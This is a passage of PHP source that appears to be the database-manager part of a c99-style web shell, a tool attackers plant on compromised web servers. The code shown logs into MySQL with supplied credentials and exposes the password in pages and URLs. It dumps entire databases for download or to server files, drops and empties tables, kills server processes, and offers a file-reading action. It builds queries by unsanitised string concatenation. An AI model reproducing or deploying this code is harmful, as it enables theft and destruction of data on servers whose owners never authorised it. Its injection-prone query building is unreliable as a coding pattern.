625 $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
626 $sqlquicklaunch[] = array("Logout",$surl."act=sql");
627 echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")<br>";
628 if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
629 }
630 echo "</td></tr><tr>";
631 if (!$sql_sock) {
632 echo "<td width=\"28%\" height=\"100\" valign=\"top\"><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width=\"90%\" height=1 valign=\"top\">";
633 echo "<table width=\"100%\" border=0><tr><td><b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b></td><td><b>Database</b></td></tr><form action=\" $surl \" method=\"POST\"><input type=\"hidden\" name=\"act\" value=\"sql\"><tr><td><input type=\"text\" name=\"sql_login\" value=\"root\" maxlength=\"64\"></td><td><input type=\"password\" name=\"sql_passwd\" value=\"\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_db\" value=\"\" maxlength=\"64\"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type=\"text\" name=\"sql_server\" value=\"localhost\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_port\" value=\"3306\" maxlength=\"6\" size=\"3\"></td><td><input type=\"submit\" value=\"Connect\"></td></tr><tr><td></td></tr></form></table></td>";
634 }
635 else {
636 //Start left panel
637 if (!empty($sql_db)) {
638 ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade>
639 <?php
640 $result = mysql_list_tables($sql_db);
641 if (!$result) {echo mysql_smarterror();}
642 else {
643 echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
644 $c = 0;
645 while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>+ <a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
646 if (!$c) {echo "No tables found in database.";}
647 }
648 }
649 else {
650 ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade>
651 <?php
652 $result = mysql_list_dbs($sql_sock);
653 if (!$result) {echo mysql_smarterror();}
654 else {
655 ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db">
656 <?php
657 $c = 0;
658 $dbs = "";
659 while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
660 echo "<option value=\"\">Databases (".$c.")</option>";
661 echo $dbs;
662 }
663 ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form>
664 <?php
665 }
666 //End left panel
667 echo "</td><td width=\"100%\">";
668 //Start center panel
669 $diplay = TRUE;
670 if ($sql_db) {
671 if (!is_numeric($c)) {$c = 0;}
672 if ($c == 0) {$c = "no";}
673 echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
674 if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
675 echo "</b></center>";
676 $acts = array("","dump");
677 if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
678 elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
679
680 elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
681 elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
682 elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
683 elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
684 elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
685 elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
686 elseif ($sql_tbl_act == "insert") {
687 if ($sql_tbl_insert_radio == 1) {
688 $keys = "";
689 $akeys = array_keys($sql_tbl_insert);
690 foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
691 if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
692 $values = "";
693 $i = 0;
694 foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
695 if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
696 $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
697 $sql_act = "query";
698 $sql_tbl_act = "browse";
699 }
700 elseif ($sql_tbl_insert_radio == 2) {
701 $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
702 $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
703 $result = mysql_query($sql_query) or print(mysql_smarterror());
704 $result = mysql_fetch_array($result, MYSQL_ASSOC);
705 $sql_act = "query";
706 $sql_tbl_act = "browse";
707 }
708 }
709 if ($sql_act == "query") {
710 echo "<hr size=\"1\" noshade>";
711 if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
712 if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
713 if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";}
714 }
715 if (in_array($sql_act,$acts)) {
716 ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b>
717 <form action="<?php echo $surl; ?>">
718 <input type="hidden" name="act" value="sql">
719 <input type="hidden" name="sql_act" value="newtbl">
720 <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
721 <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
722 <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
723 <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>">
724 <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>">
725 <input type="text" name="sql_newtbl" size="20">
726 <input type="submit" value="Create">
727 </form></td>
728 <td width="30%" height="1"><b>Dump DB:</b>
729 <form action="<?php echo $surl; ?>">
730 <input type="hidden" name="act" value="sql">
731 <input type="hidden" name="sql_act" value="dump">
732 <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
733 <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
734 <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
735 <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"><input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table>
736 <?php
737 if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
738 if ($sql_act == "newtbl") {
739 echo "<b>";
740 if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {
741 echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
742 }
743 else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
744 }
745 elseif ($sql_act == "dump") {
746 if (empty($submit)) {
747 $diplay = FALSE;
748 echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
749 echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
750 $v = join (";",$dmptbls);
751 echo "<b>Only tables (explode \";\") <b><sup>1</sup></b>:</b> <input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
752 if ($dump_file) {$tmp = $dump_file;}
753 else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
754 echo "<b>File:</b> <input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
755 echo "<b>Download: </b> <input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
756 echo "<b>Save to file: </b> <input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
757 echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
758 echo "</form>";
759 }
760 else {
761 $diplay = TRUE;
762 $set = array();
763 $set["sock"] = $sql_sock;
764 $set["db"] = $sql_db;
765 $dump_out = "download";
766 $set["print"] = 0;
767 $set["nl2br"] = 0;
768 $set[""] = 0;
769 $set["file"] = $dump_file;
770 $set["add_drop"] = TRUE;
771 $set["onlytabs"] = array();
772 if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
773 $ret = mysql_dump($set);
774 if ($sql_dump_download) {
775 @ob_clean();
776 header("Content-type: application/octet-stream");
777 header("Content-length: ".strlen($ret));
778 header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
779 echo $ret;
780 exit;
781 }
782 elseif ($sql_dump_savetofile) {
783 $fp = fopen($sql_dump_file,"w");
784 if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
785 else {
786 fwrite($fp,$ret);
787 fclose($fp);
788 echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
789 }
790 }
791 else {echo "<b>Dump: nothing to do!</b>";}
792 }
793 }
794 if ($diplay) {
795 if (!empty($sql_tbl)) {
796 if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
797 $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
798 $count_row = mysql_fetch_array($count);
799 mysql_free_result($count);
800 $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
801 $tbl_struct_fields = array();
802 while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
803 if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
804 if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
805 if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
806 if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
807 $perpage = $sql_tbl_le - $sql_tbl_ls;
808 if (!is_numeric($perpage)) {$perpage = 10;}
809 $numpages = $count_row[0]/$perpage;
810 $e = explode(" ",$sql_order);
811 if (count($e) == 2) {
812 if ($e[0] == "d") {$asc_desc = "DESC";}
813 else {$asc_desc = "ASC";}
814 $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
815 }
816 else {$v = "";}
817 $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
818 $result = mysql_query($query) or print(mysql_smarterror());
819 echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
820 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[<b> Structure </b>]</a> ";
821 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[<b> Browse </b>]</a> ";
822 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[<b> Dump </b>]</a> ";
823 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[ <b>Insert</b> ]</a> ";
824 if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
825 if ($sql_tbl_act == "insert") {
826 if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
827 if (!empty($sql_tbl_insert_radio)) { } //Not Ready
828 else {
829 echo "<br><br><b>Inserting row into table:</b><br>";
830 if (!empty($sql_tbl_insert_q)) {
831 $sql_query = "SELECT * FROM `".$sql_tbl."`";
832 $sql_query .= " WHERE".$sql_tbl_insert_q;
833 $sql_query .= " LIMIT 1;";
834 $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
835 $values = mysql_fetch_assoc($result);
836 mysql_free_result($result);
837 }
838 else {$values = array();}
839 echo "<form method=\"POST\"><table width=\"1%\" border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
840 foreach ($tbl_struct_fields as $field) {
841 $name = $field["Field"];
842 if (empty($sql_tbl_insert_q)) {$v = "";}
843 echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
844 $i++;
845 }
846 echo "</table><br>";
847 echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
848 if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
849 echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
850 }
851 }
852 if ($sql_tbl_act == "browse") {
853 $sql_tbl_ls = abs($sql_tbl_ls);
854 $sql_tbl_le = abs($sql_tbl_le);
855 echo "<hr size=\"1\" noshade>";
856 echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\"> ";
857 $b = 0;
858 for($i=0;$i<$numpages;$i++) {
859 if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
860 echo $i;
861 if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
862 if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
863 else {echo " ";}
864 }
865 if ($i == 0) {echo "empty";}
866 echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b> <input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\"> <b>To:</b> <input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\"> <input type=\"submit\" value=\"View\"></form>";
867 echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>";
868 echo "<tr>";
869 echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
870 for ($i=0;$i<mysql_num_fields($result);$i++) {
871 $v = mysql_field_name($result,$i);
872 if ($e[0] == "a") {$s = "d"; $m = "asc";}
873 else {$s = "a"; $m = "desc";}
874 echo "<td>";
875 if (empty($e[0])) {$e[0] = "a";}
876 if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
877 else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
878 echo "</td>";
879 }
880 echo "<td><font color=\"green\"><b>Action</b></font></td>";
881 echo "</tr>";
882 while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
883 echo "<tr>";
884 $w = "";
885 $i = 0;
886 foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
887 if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
888 echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
889 $i = 0;
890 foreach ($row as $k=>$v)
891 {
892 $v = htmlspecialchars($v);
893 if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
894 echo "<td>".$v."</td>";
895 $i++;
896 }
897 echo "<td>";
898 echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a> ";
899 echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a> ";
900 echo "</td>";
901 echo "</tr>";
902 }
903 mysql_free_result($result);
904 echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
905 echo "<option value=\"\">With selected:</option>";
906 echo "<option value=\"deleterow\">Delete</option>";
907 echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>";
908 }
909 }
910 else {
911 $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
912 if (!$result) {echo mysql_smarterror();}
913 else
914 {
915 echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
916 $i = 0;
917 $tsize = $trows = 0;
918 while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
919 {
920 $tsize += $row["Data_length"];
921 $trows += $row["Rows"];
922 $size = view_size($row["Data_length"]);
923 echo "<tr>";
924 echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
925 echo "<td> <a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a> </td>";
926 echo "<td>".$row["Rows"]."</td>";
927 echo "<td>".$row["Type"]."</td>";
928 echo "<td>".$row["Create_time"]."</td>";
929 echo "<td>".$row["Update_time"]."</td>";
930 echo "<td>".$size."</td>";
931 echo "<td> <a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a> <a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a> <a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a> </td>";
932 echo "</tr>";
933 $i++;
934 }
935 echo "<tr bgcolor=\"000000\">";
936 echo "<td><center><b>+</b></center></td>";
937 echo "<td><center><b>".$i." table(s)</b></center></td>";
938 echo "<td><b>".$trows."</b></td>";
939 echo "<td>".$row[1]."</td>";
940 echo "<td>".$row[10]."</td>";
941 echo "<td>".$row[11]."</td>";
942 echo "<td><b>".view_size($tsize)."</b></td>";
943 echo "<td></td>";
944 echo "</tr>";
945 echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
946 echo "<option value=\"\">With selected:</option>";
947 echo "<option value=\"tbldrop\">Drop</option>";
948 echo "<option value=\"tblempty\">Empty</option>";
949 echo "<option value=\"tbldump\">Dump</option>";
950 echo "<option value=\"tblcheck\">Check table</option>";
951 echo "<option value=\"tbloptimize\">Optimize table</option>";
952 echo "<option value=\"tblrepair\">Repair table</option>";
953 echo "<option value=\"tblanalyze\">Analyze table</option>";
954 echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>";
955 mysql_free_result($result);
956 }
957 }
958 }
959 }
960 }
961 else {
962 $acts = array("","newdb","serverstatus","servervars","processes","getfile");
963 if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20"> <input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>"> <input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
964 if (!empty($sql_act)) {
965 echo "<hr size=\"1\" noshade>";
966 if ($sql_act == "newdb") {
967 echo "<b>";
968 if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
969 else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
970 }
971 if ($sql_act == "serverstatus") {
972 $result = mysql_query("SHOW STATUS", $sql_sock);
973 echo "<center><b>Server-status variables:</b><br><br>";
974 echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
975 while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
976 echo "</table></center>";
977 mysql_free_result($result);
978 }
979 if ($sql_act == "servervars") {
980 $result = mysql_query("SHOW VARIABLES", $sql_sock);
981 echo "<center><b>Server variables:</b><br><br>";
982 echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
983 while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
984 echo "</table>";
985 mysql_free_result($result);
986 }
987 if ($sql_act == "processes") {
988 if (!empty($kill)) {
989 $query = "KILL ".$kill.";";
990 $result = mysql_query($query, $sql_sock);
991 echo "<b>Process #".$kill." was killed.</b>";
992 }
993 $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
994 echo "<center><b>Processes:</b><br><br>";
995 echo "<TABLE cellSpacing=0 cellPadding=2 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
